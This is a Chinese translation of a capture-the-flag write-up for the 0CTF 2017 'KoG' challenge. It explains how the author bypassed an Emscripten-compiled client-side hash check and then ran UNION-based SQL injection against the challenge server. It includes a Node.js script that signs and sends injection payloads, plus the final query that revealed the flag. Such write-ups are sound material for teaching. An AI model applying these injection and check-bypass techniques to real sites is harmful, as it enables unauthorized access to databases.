Born to Learn

来源:互联网 发布:网络表情用英文怎么说 编辑:程序博客网 时间:2024/06/09 03:44

                     Born to Learn

                                       0CTF2017-KoG  2017.3.19

   你知道如何在浏览器上运行你的c++程序吗?

 

 

问题:

上帝荣光是一个有趣的游戏。我们的网站有一个玩家列表。

http://202.120.7.213:11181

打开给的网址,并没有什么有趣的东西,但是源代码显示,他是通过id参数来索引。所以,先试试但id=1,我们可以看到他用了一些有趣的参数来向api.php 发送请求

http://202.120.7.213:11181/api.php?id=1&hash=035c6d4adf335c31e884796a11a2590f&time=1489983725

他用当前的时间来作为salt来hashes(加密)ID这个参数,使用hashea值在服务器端验证ID的完整性。所以如果你加入一些SQL语句在ID里面,这些语句可能会阻碍hashes值产生,这些都发生在客户端。因此我们的目标是:绕过客户端的SQL注入检测,生成hash数列,并注入。

 

现在,最困难的部分来了:这个生成哈希值得代码是我见过的最复杂的。通过追踪Module.main(获取关联进程的主模块,进程模块表示加载到特定进程中的 .dll 或 .exe 文件。MainModule 属性使您能够查看有关用于启动进程的可执行文件的信息,包括模块名、文件名和模块内存详细信息。),我看到的分配器中 , 映射功能, 甚至功能名称 , 表明系统调用。

谷歌一下,发现他是通过c/c++编写,通过emscripten编译(可将c/c++编译为JavaScript)

坏消息是,这几乎没有逆向工具生成的js代码

好消息是:他是纯文本文件,比二进制好,它是易于插入跟踪代码 ,运行不插入SQLI,比较呼叫序列 ,以找出其中调用应用补丁。

问题中的函数是:__Z10user_inputNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE,在注释下,下列两个if函数后,他可以对任何输入生成hash数列。

if (!($13)) {

;HEAP32[$agg$result>>2]=HEAP32[$s>>2]|0;HEAP32[$agg$result+4>>2]=HEAP32[$s+4>>2]|0;HEAP32[$agg$result+8>>2]=HEAP32[$s+8>>2]|0;;HEAP32[$s>>2]=0|0;HEAP32[$s+4>>2]=0|0;HEAP32[$s+8>>2]=0|0;__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te);__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s);STACKTOP = sp;return; }

 

 

if ((label|0) == 12) {
 ;HEAP32[$agg$result>>2]=HEAP32[$s>>2]|0;HEAP32[$agg$result+4>>2]=HEAP32[$s+4>>2]|0;HEAP32[$agg$result+8>>2]=HEAP32[$s+8>>2]|0;
 ;HEAP32[$s>>2]=0|0;HEAP32[$s+4>>2]=0|0;HEAP32[$s+8>>2]=0|0;
 __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te);
 __ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s);
 STACKTOP = sp;return;
}

 

接下来,这个就变成一个简单的SQL注入。首先使用order by语句在搜索表内来查询列数,然后再通过访问information_schema.tablesinformation_schema.columns来找出题目中的表明和列名。

很容易写一个main.js的程序来hash和curl。

var Module = require('./functionn.js'); varq = process.argv[2]; var hash = Module.main(q).split('|'); var req ='http://202.120.7.213:11181/api.php?id=' + encodeURI(q) + '&hash=' +hash[0] + '&time=' + hash[1] console.log(req); var spawn = require('child_process').spawn;var curl = spawn('curl', [req]); curl.stdout.on('data', (data) => {console.log(`response: ${data}`); });

 

 

$ node main.js "1 union all select 1,hey from fl4g"
http://202.120.7.213:11181/api.php?id=1%20union%20all%20select%201,hey%20from%20fl4g&hash=c2f05acaf2f91ba81b8c9b3ce2304da7&time=1489882992
response: EaseSingle Qinflag{emScripten_is_Cut3_right?}



翻译自:https://jiulongw.github.io/post/0ctf-2017-kog/

原创粉丝点击